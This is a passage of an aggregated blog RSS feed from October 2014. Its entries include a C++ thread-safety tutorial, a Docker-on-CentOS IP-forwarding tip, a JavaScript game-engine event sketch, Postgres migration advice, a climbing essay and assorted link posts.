        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;newFlight&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;MAX_FLIGHTS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push_front&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newFlight&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;FindFlight&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;flightNum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;flightNum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;statusBoard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The mutable keyword is used as we’re using the mutex in a const member
function FindFlight(). On my machine it executes as:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Flight found after 10 writes and 1591 reads.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sometime, the code also throws the following exception after exiting
from main:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;libc++abi.dylib: terminating with uncaught exception of type std::__1::system_error: mutex lock failed: Invalid argument
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is due to the fact that we’ve explicitly added the thread delay for
debugging and some of out async threads are executing as detached and
might not be over before the main exits. I don’t think this is going to
be a problem in any real code.&lt;/p&gt;

&lt;p&gt;So, there, we’ve a basic thread-safe code. This is not the best
implementation possible. There are many things to look out for. Like,
we’ve to take care of not pass out any references or pointers of shared
data, otherwise the code might become unsafe again. Always remember that
at the low level all threads share the same address space, and whenever
we’ve a shared resource without a lock, we have a race condition. This
is more of the design error from the programmer’s perspective.&lt;/p&gt;

&lt;p&gt;As always this code is available online at
&lt;a href="https://github.com/chunkyguy/ConcurrencyExperiments"&gt;github.com/chunkyguy/ConcurrencyExperiments&lt;/a&gt;.
Check it out and have fun experimenting on your own.&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sun, 05 Oct 2014 04:02:00 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/2014/10/05/concurrency-working-with-shared-data-using-threads/</guid></item><item><title>Robot Onslaught: Multiplayer twin-stick 2D shooter using PubNub</title><link>https://thomashunter.name/posts/2014-10-05-robot-onslaught-multiplayer-twin-stick-2d-shooter-using-pubnub</link><author>Thomas Hunter II</author><pubDate>Sun, 05 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2014-10-05-robot-onslaught-multiplayer-twin-stick-2d-shooter-using-pubnub</guid></item><item><title>I challenge you to a game of Sokoban Golf!</title><link>https://myownfortune.wordpress.com/2014/10/04/i-challenge-you-to-a-game-of-sokoban-golf/</link><description>Before I dived in earnest into writing the new version of my computer game that teaches Python, this time with game mechanics based on the classical puzzle game &amp;#8220;Sokoban&amp;#8221;, I wanted to make sure that Programmable Sokoban is a fun concept. So I wrote a prototype in a couple of hours. The programmers among you [&amp;#8230;]</description><author>My Own Fortune</author><pubDate>Sat, 04 Oct 2014 20:24:03 GMT</pubDate><guid isPermaLink="true">https://myownfortune.wordpress.com/2014/10/04/i-challenge-you-to-a-game-of-sokoban-golf/</guid></item><item><title>The Usual Suspects</title><link>https://olshansky.info/movie/the_usual_suspects/</link><description>Olshansky's review of The Usual Suspects</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 04 Oct 2014 07:38:18 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_usual_suspects/</guid></item><item><title>ngWhatever - MVX architecture</title><link>https://adamcraven.com/writing/ngwhatever-github/</link><description/><author>Writing on Adam Craven</author><pubDate>Sat, 04 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://adamcraven.com/writing/ngwhatever-github/</guid></item><item><title>Typographic Design Patterns and Best Practices</title><link>http://www.smashingmagazine.com/2009/08/20/typographic-design-survey-best-practices-from-the-best-blogs/</link><description>&lt;p&gt;A great companion to yesterday&amp;#8217;s post, &lt;a href="https://zacs.site/blog/10-typeface-pairs-for-cash-poor-designers.html"&gt;10 Typeface Pairs for Cash-Poor Designers&lt;/a&gt;, for those looking to improve the design of their site through the adoption of strong design principles. Despite its original publication date of 2009, the best practices Michael Martin puts forth here have retained their value over the years in an excellent resource for aspiring designers. I have applied some of these lessons, too, in the creation of my elusive latest project. Look for more on this soon.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.smashingmagazine.com/2009/08/20/typographic-design-survey-best-practices-from-the-best-blogs/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 03 Oct 2014 13:42:32 GMT</pubDate><guid isPermaLink="true">http://www.smashingmagazine.com/2009/08/20/typographic-design-survey-best-practices-from-the-best-blogs/</guid></item><item><title>Running Docker on CentOS - External Network Access</title><link>https://blog.tjll.net/fixing-docker-routing-problems-on-centos/</link><description>&lt;p&gt;
This is just a short blip for people running Docker on CentOS who have encountered problems accessing containers from outside the localhost.
&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;
The long and short of it is this command:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;sysctl net.ipv4.ip_forward=1&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Why? Read &lt;a href="https://unix.stackexchange.com/questions/14056/what-is-kernel-ip-forwarding"&gt;this answer on StackExchange&lt;/a&gt; first. When Docker configures your &lt;code&gt;iptables&lt;/code&gt; rules for network access, it likes to create a &lt;code&gt;docker0&lt;/code&gt; interface alongside any other network interfaces (like &lt;code&gt;eth0&lt;/code&gt;) that CentOS creates by default.
&lt;/p&gt;

&lt;p&gt;
Therefore, you must enable IP forwarding to allow those packets arriving on your externally-listening interface to be forwarded (or routed) to the docker interface that all of your containers are attached to.
&lt;/p&gt;

&lt;p&gt;
Hopefully this helps somebody else out who may encounter similar problems.
&lt;/p&gt;</description><author>Tyblog</author><pubDate>Fri, 03 Oct 2014 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/fixing-docker-routing-problems-on-centos/</guid></item><item><title>Making an engine to run with custom game code</title><link>https://ericonotes.blogspot.com/2014/10/making-engine-to-run-with-custom-game.html</link><description>&lt;div class="post-text"&gt;
So, I'm working on my game and decided to share some simplified version of my code here. I'm making a game engine in javascript, and needed some way to code some actions.&lt;br /&gt;
&lt;br /&gt;
The code is here, you can save it as example.html (http://jsfiddle.net/e3b0kocc/):&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style="line-height: 125%; margin: 0;"&gt; 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style="line-height: 125%; margin: 0;"&gt;    &lt;span style="color: #557799;"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt; &lt;span style="color: #007700;"&gt;&amp;lt;html&amp;gt;&lt;/span&gt; &lt;span style="color: #007700;"&gt;&amp;lt;body&amp;gt;&lt;/span&gt; &lt;span style="color: #007700;"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span style="color: #008800; font-weight: bold;"&gt;var&lt;/span&gt; engine&lt;span style="color: #333333;"&gt;=&lt;/span&gt;{}, actions&lt;span style="color: #333333;"&gt;=&lt;/span&gt;{};
    engine.atomStack&lt;span style="color: #333333;"&gt;=&lt;/span&gt;&lt;span style="color: #008800; font-weight: bold;"&gt;new&lt;/span&gt; &lt;span style="color: #007020;"&gt;Array&lt;/span&gt;();

    engine.runatomStack &lt;span style="color: #333333;"&gt;=&lt;/span&gt; &lt;span style="color: #008800; font-weight: bold;"&gt;function&lt;/span&gt;(){
        &lt;span style="color: #008800; font-weight: bold;"&gt;while&lt;/span&gt;(engine.atomStack.length &lt;span style="color: #333333;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: #0000dd; font-weight: bold;"&gt;0&lt;/span&gt;){
            &lt;span style="color: #008800; font-weight: bold;"&gt;var&lt;/span&gt; actionToRun &lt;span style="color: #333333;"&gt;=&lt;/span&gt; engine.atomStack.shift();
            actionToRun[&lt;span style="color: #0000dd; font-weight: bold;"&gt;0&lt;/span&gt;](actionToRun[&lt;span style="color: #0000dd; font-weight: bold;"&gt;1&lt;/span&gt;]);
        } 
    };

    engine.action1 &lt;span style="color: #333333;"&gt;=&lt;/span&gt; &lt;span style="color: #008800; font-weight: bold;"&gt;function&lt;/span&gt;( param ) {
        &lt;span style="color: #888888;"&gt;//execute something param[0]&lt;/span&gt;
        console.log(&lt;span style="background-color: #fff0f0;"&gt;"executed action 1, param "&lt;/span&gt; &lt;span style="color: #333333;"&gt;+&lt;/span&gt; param[&lt;span style="color: #0000dd; font-weight: bold;"&gt;0&lt;/span&gt;] ); }

    engine.action2 &lt;span style="color: #333333;"&gt;=&lt;/span&gt; &lt;span style="color: #008800; font-weight: bold;"&gt;function&lt;/span&gt;( param ) {
        &lt;span style="color: #888888;"&gt;//execute something param[0] and param[1]&lt;/span&gt;
        console.log(&lt;span style="background-color: #fff0f0;"&gt;"executed action 2, params "&lt;/span&gt; &lt;span style="color: #333333;"&gt;+&lt;/span&gt; param[&lt;span style="color: #0000dd; font-weight: bold;"&gt;0&lt;/span&gt;] &lt;span style="color: #333333;"&gt;+&lt;/span&gt; &lt;span style="background-color: #fff0f0;"&gt;" "&lt;/span&gt; &lt;span style="color: #333333;"&gt;+&lt;/span&gt; param[&lt;span style="color: #0000dd; font-weight: bold;"&gt;1&lt;/span&gt;] ); }

    actions.action1 &lt;span style="color: #333333;"&gt;=&lt;/span&gt; &lt;span style="color: #008800; font-weight: bold;"&gt;function&lt;/span&gt;( param ) {
        &lt;span style="color: #888888;"&gt;//do something param[0]&lt;/span&gt;
        &lt;span style="color: #008800; font-weight: bold;"&gt;var&lt;/span&gt; params &lt;span style="color: #333333;"&gt;=&lt;/span&gt; param.split(&lt;span style="background-color: #fff0f0;"&gt;';'&lt;/span&gt;);
        engine.atomStack.push([engine.action1,params]); }

    actions.action2 &lt;span style="color: #333333;"&gt;=&lt;/span&gt; &lt;span style="color: #008800; font-weight: bold;"&gt;function&lt;/span&gt;( param ) {
        &lt;span style="color: #888888;"&gt;//do something param[0] and param[1]&lt;/span&gt;
        &lt;span style="color: #008800; font-weight: bold;"&gt;var&lt;/span&gt; params &lt;span style="color: #333333;"&gt;=&lt;/span&gt; param.split(&lt;span style="background-color: #fff0f0;"&gt;';'&lt;/span&gt;);
        params[&lt;span style="color: #0000dd; font-weight: bold;"&gt;1&lt;/span&gt;]&lt;span style="color: #333333;"&gt;=&lt;/span&gt;&lt;span style="color: #007020;"&gt;parseInt&lt;/span&gt;(params[&lt;span style="color: #0000dd; font-weight: bold;"&gt;1&lt;/span&gt;],&lt;span style="color: #0000dd; font-weight: bold;"&gt;10&lt;/span&gt;)&lt;span style="color: #333333;"&gt;+&lt;/span&gt;&lt;span style="color: #0000dd; font-weight: bold;"&gt;2&lt;/span&gt;
        engine.atomStack.push([engine.action2,params]); }

    translateActions &lt;span style="color: #333333;"&gt;=&lt;/span&gt; &lt;span style="color: #008800; font-weight: bold;"&gt;function&lt;/span&gt;(action, param) {    
        actions[action](param); };

    eventActivate &lt;span style="color: #333333;"&gt;=&lt;/span&gt; &lt;span style="color: #008800; font-weight: bold;"&gt;function&lt;/span&gt;(event) {
        &lt;span style="color: #008800; font-weight: bold;"&gt;for&lt;/span&gt; (&lt;span style="color: #008800; font-weight: bold;"&gt;var&lt;/span&gt; i &lt;span style="color: #333333;"&gt;=&lt;/span&gt; &lt;span style="color: #0000dd; font-weight: bold;"&gt;0&lt;/span&gt;; i &lt;span style="color: #333333;"&gt;&amp;lt;&lt;/span&gt; events[event].length ; i&lt;span style="color: #333333;"&gt;++&lt;/span&gt;) {
            &lt;span style="color: #008800; font-weight: bold;"&gt;var&lt;/span&gt; action &lt;span style="color: #333333;"&gt;=&lt;/span&gt; events[event][i];
            &lt;span style="color: #008800; font-weight: bold;"&gt;var&lt;/span&gt; actionAndParam &lt;span style="color: #333333;"&gt;=&lt;/span&gt; action.split(&lt;span style="background-color: #fff0f0;"&gt;'|'&lt;/span&gt;);
            translateActions(actionAndParam[&lt;span style="color: #0000dd; font-weight: bold;"&gt;0&lt;/span&gt;],actionAndParam[&lt;span style="color: #0000dd; font-weight: bold;"&gt;1&lt;/span&gt;]);
        }
    };

    events &lt;span style="color: #333333;"&gt;=&lt;/span&gt; {
        &lt;span style="color: #0000dd; font-weight: bold;"&gt;1&lt;/span&gt;&lt;span style="color: #333333;"&gt;:&lt;/span&gt; [&lt;span style="background-color: #fff0f0;"&gt;"action1|5"&lt;/span&gt;,&lt;span style="background-color: #fff0f0;"&gt;"action2|2;2"&lt;/span&gt;,&lt;span style="background-color: #fff0f0;"&gt;"action1|2"&lt;/span&gt;],
        &lt;span style="color: #0000dd; font-weight: bold;"&gt;2&lt;/span&gt;&lt;span style="color: #333333;"&gt;:&lt;/span&gt; [&lt;span style="background-color: #fff0f0;"&gt;"action2|5;2"&lt;/span&gt;,&lt;span style="background-color: #fff0f0;"&gt;"action2|2;2"&lt;/span&gt;],
        &lt;span style="color: #0000dd; font-weight: bold;"&gt;3&lt;/span&gt;&lt;span style="color: #333333;"&gt;:&lt;/span&gt; [&lt;span style="background-color: #fff0f0;"&gt;"action2|5;2"&lt;/span&gt;,&lt;span style="background-color: #fff0f0;"&gt;"action1|2"&lt;/span&gt;] };
    &lt;span style="color: #007700;"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt; &lt;span style="color: #007700;"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt; &lt;span style="color: #007700;"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Something happens, and I need to run the actions inside an event. I 
call eventActivate passing the event that should happen. The function 
translateAction read this information and calls the function that set up
 the actions. My logic is based that a level contain events, an event 
can contain actions, and each different action contain atoms.&lt;br /&gt;
&lt;br /&gt;
So, for example, at some point you call eventActivate(1) and that 
will push the relative events on the stack. Then from time to time the 
engine is used and calls engine.runatomStack() to execute whatever is 
there. Below is an example using f12 to call developer console and insert javascript (used Firefox).&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;span&gt;//engine.atomStack is Array [&amp;nbsp; ]&lt;br /&gt;&lt;br /&gt;eventActivate(2)&lt;br /&gt;//engine.atomStack is Array [ Array[2], Array[2] ]&lt;br /&gt;&lt;br /&gt;engine.runatomStack()&lt;br /&gt;&lt;br /&gt;//prints:&lt;br /&gt;//&amp;nbsp;&amp;nbsp; "executed action 2, params 5 4" example.html:18&lt;br /&gt;//&amp;nbsp;&amp;nbsp; "executed action 2, params 2 4" example.html:18&lt;br /&gt;&lt;br /&gt;//engine.atomStack is Array [&amp;nbsp; ] &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
I decided to make this post because I asked a question on stackoverflow and had to make a simpler version of my code to show there and thought that it could be useful to show here too! &lt;/div&gt;</description><author>Erico Notes</author><pubDate>Fri, 03 Oct 2014 06:38:02 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2014/10/making-engine-to-run-with-custom-game.html</guid></item><item><title>How to join Beta program for Wish 'N U.</title><link>https://prashamhtrivedi.in/wishnu_beta.html</link><description>If you are interested in joining beta program for Wish &amp;lsquo;N U this post will help you to join the program.</description><author>Prasham H Trivedi</author><pubDate>Fri, 03 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://prashamhtrivedi.in/wishnu_beta.html</guid></item><item><title>Obscurity Of Communication</title><link>https://venam.net/blog/security/2014/10/03/obscurity-communication.html</link><description>A hot subject these days is privacy.  Since the Snowden's leaks we have been getting headlines about privacy every two or three days. This post is not about something new but it's to dwell into ways of thinking we haven't been accustomed to. I don't personally have any interest in conspiracy theories and secret societies but it's still interesting to relate it with terrorism, as we are in an era of psychotic people.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Fri, 03 Oct 2014 00:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/security/2014/10/03/obscurity-communication.html</guid></item><item><title>10 Typeface Pairs for Cash-Poor Designers</title><link>http://morganelye.com/articles/10-typeface-pairs-for-cash-poor-designers</link><description>&lt;p&gt;As I continue work on an as of yet unnamed and unreleased project, I came across this great article by Morgan Gilpatrick from a number of years ago that still maintains its relevance today. Here he puts forth nine different font combinations paired according to a matrix of criteria, and to great results. I plan on returning here and to other resources like it when it comes time to redesign this site once again; great advice, especially helpful to those of us on the fringe of design.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://morganelye.com/articles/10-typeface-pairs-for-cash-poor-designers"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 02 Oct 2014 14:36:25 GMT</pubDate><guid isPermaLink="true">http://morganelye.com/articles/10-typeface-pairs-for-cash-poor-designers</guid></item><item><title>On the percloud, one year later</title><link>https://stop.zona-m.net/2014/10/on-the-percloud-one-year-later/</link><description>&lt;p&gt;One year ago I launched a proposal, with related fundraiser, for an alternative to Facebook, Gmail and similar services really usable by normal people, the &lt;a href="http://per-cloud.com"&gt;percloud&lt;/a&gt;. That fundraiser did not succeed,&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 02 Oct 2014 09:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/10/on-the-percloud-one-year-later/</guid></item><item><title>Some percloud Questions I've already Frequently Answered</title><link>https://stop.zona-m.net/2014/10/some-more-percloud-questions-ive-already-frequently-answered/</link><description>&lt;p&gt;&lt;em&gt;(please note that this was just the second part of &lt;a href="https://stop.zona-m.net/2014/10/on-the-percloud-one-year-later"&gt;this other post&lt;/a&gt;!)&lt;/em&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 02 Oct 2014 07:08:49 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/10/some-more-percloud-questions-ive-already-frequently-answered/</guid></item><item><title>A simple guide for DB migrations</title><link>/2014/10/01/A-simple-guide-for-DB-migrations/</link><description>&lt;p&gt;Most web applications will add/remove columns over time. This is extremely common early on and even mature applications will continue modifying their schemas with new columns. An all too common pitfall when adding new columns is setting a not null constraint in Postgres.&lt;/p&gt;
&lt;h3 id="not-null-constraints"&gt;
&lt;div&gt;
Not null constraints
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;What happens when you have a not null constraint on a table is it will re-write the entire table. Under the cover Postgres is really just an append only log. So when you update or delete data it&amp;rsquo;s really just writing new data. This means when you add a column with a new value it has to write a new record. If you do this requiring columns to not be null then you&amp;rsquo;re re-writing your entire table.&lt;/p&gt;
&lt;p&gt;Where this becomes problematic for larger applications is it will hold a lock preventing you from writing new data during this time.&lt;/p&gt;
&lt;h3 id="a-better-way"&gt;
&lt;div&gt;
A better way
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Of course you may want to not allow nulls and you may want to set a default value, the problem simply comes when you try to do this all at once. The safest approach at least in terms of uptime for your table -&amp;gt; data -&amp;gt; application is to break apart these steps.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Start by simply adding the column with allowing nulls but setting a default value&lt;/li&gt;
&lt;li&gt;Run a background job that will go and retroactively update the new column to your default value&lt;/li&gt;
&lt;li&gt;Add your not null constraint.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Yes it&amp;rsquo;s a few extra steps, but I can say from having walked through this with a number of developers and their apps it makes for a much smoother process for making changes to your apps.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Wed, 01 Oct 2014 23:55:56 GMT</pubDate><guid isPermaLink="true">/2014/10/01/A-simple-guide-for-DB-migrations/</guid></item><item><title>Cabin Porn Roundup</title><link>https://zacs.site/blog/cabin-porn-roundup-914.html</link><description>&lt;p&gt;Another installment in my ongoing Cabin Porn Roundup series, where I collect interesting pictures of cabins and cool stories about the outdoors from across the world and present them in a single location. Much like my &amp;#8220;This Week in Podcasts&amp;#8221; series, I feature only the best of the best here. Enjoy.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cabin-porn-roundup-914.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 01 Oct 2014 20:37:15 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cabin-porn-roundup-914.html</guid></item><item><title>Running IntelliJ IDEA on Mac OS with Java 8</title><link>https://rd.nz/2014/09/running-intellij-idea-on-mac-os-with.html</link><author>Rich Dougherty</author><pubDate>Wed, 01 Oct 2014 03:57:00 GMT</pubDate><guid isPermaLink="true">https://rd.nz/2014/09/running-intellij-idea-on-mac-os-with.html</guid></item><item><title>Why Your Belayer is Keeping You from Climbing Hard(er)</title><link>https://josh.works/climbing/2014/10/01/why-your-belayer-is-keeping-you-from-climbing-harder/</link><description>&lt;p&gt;Since climbing regularly again (!!!), I’ve observed lots of belaying in the gym. I can’t walk up to a stranger and say “Excuse me, sir, I noticed that your poor belaying is totally crippling your climber’s ability to try hard, and actively eliminating any hope you had of improvement in this sport.”
In fact, I don’t even want to. When I see bad belaying, it doesn’t bother me, unless it’s actively courting grave injury. It does make me feel sorry for the climbers, though, because it’s really hard to improve at climbing with a bad belayer.&lt;/p&gt;

&lt;p&gt;There’s a number of issues surrounding poor belaying, but they all tie back to either 
trust or 
competence.
more&lt;/p&gt;

&lt;p&gt;The two 
can operate independent of each other. You can have a competent belayer that you don’t trust, or you can trust an incompetent belayer (whoops). Or, of course, you can not trust an incompetent belayer (good idea) or, finally, trust a competent belayer. (Nirvana!).&lt;/p&gt;

&lt;p&gt;While you can easily spot signs of an incompetent belayer, it’s much harder to determine if they are competent. Then, even if you’ve established their competence, it takes time to build trust in them.&lt;/p&gt;

&lt;p&gt;Here’s why bad belaying keeps you from improving - even if you don’t actively consider the skill of your belayer, your subconscious knows if they are competent and trustworthy. And if you’ve not actively considered their skill, you probably don’t trust them, and they may be incompetent.&lt;/p&gt;

&lt;p&gt;Here are some indicators of unskilled (and untrustworthy) belaying:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Lets the rope hang between the climber’s legs when climber is lower than the third bolt.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Short ropes climber 
and doesn’t know it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Spikes the climber 
and doesn’t know it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Keeps rope too tight or too loose.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now - all of these are easily fixed. So - this is where 
trust comes in. If your belayer is making these mistakes, and is either unaware or unwilling to fix them, why would you trust them? None of these mistakes puts the climber in grave danger, but all can make climbing 
 less fun.&lt;/p&gt;

&lt;p&gt;If your belayer is competent, and makes none of the above errors, that’s enough to make you think they’re not only competent, but trustworthy as well. Without 
trusting your belayer, you cannot push yourself hard enough to improve at climbing.&lt;/p&gt;

&lt;p&gt;There’s a whole other list related to trustworthy belaying.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 01 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/climbing/2014/10/01/why-your-belayer-is-keeping-you-from-climbing-harder/</guid></item><item><title>Privacy Policy</title><link>https://allan.reyes.sh/privacy/</link><description>&lt;p&gt;I &lt;strong&gt;do not&lt;/strong&gt; employ analytics, trackers, affiliate links, or page view counters.
&lt;em&gt;Ain&amp;rsquo;t nobody got time for that&lt;/em&gt;. If you do happen to find something that
violates that privacy statement, reach out to me so I can fix it, because it&amp;rsquo;s
likely a programming mistake.&lt;/p&gt;
&lt;p&gt;While I don&amp;rsquo;t personally collect anything, this site is hosted using &lt;a href="https://pages.github.com/"&gt;GitHub
pages&lt;/a&gt;, so you should check their &lt;a href="https://docs.github.com/en/github/site-policy/github-privacy-statement#github-pages"&gt;privacy policy&lt;/a&gt;,
specifically:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Please note that GitHub may collect User Personal Information from visitors to
your GitHub Pages website, including logs of visitor IP addresses, to comply
with legal obligations, and to maintain the security and integrity of the
Website and the Service.&lt;/p&gt;</description><author>allan.reyes.sh</author><pubDate>Wed, 01 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://allan.reyes.sh/privacy/</guid></item><item><title>Youth Sports are Hijacking Your Life</title><link>http://www.outsideonline.com/outdoor-adventure/the-current/raising-rippers/Dont-Let-Youth-Sports-Hijack-Your-Life.html</link><description>&lt;p&gt;Reading this article from Outside Online, it reminded me of a story a family friend once told me. She explained that her son and daughter-in-law, both schoolteachers in Alaska, had decided to raise their young son without the traditional lessons society dictates a small boy learn during his formative years. As far as his dad was concerned, if he never learned to play baseball, that was just fine: instead he would learn about the outdoors, and gain skills that will benefit him for the rest of his life. Baseball simply didn&amp;#8217;t fit the bill. That philosophy struck me as abnormal at the time, yes, but also wonderfully so: while this little boy&amp;#8217;s peers learned to yearn for recess while a teacher droned on in the background, he would spend his time on things that actually mattered. Just because something is the status quo does not mean that it is right.&lt;/p&gt;


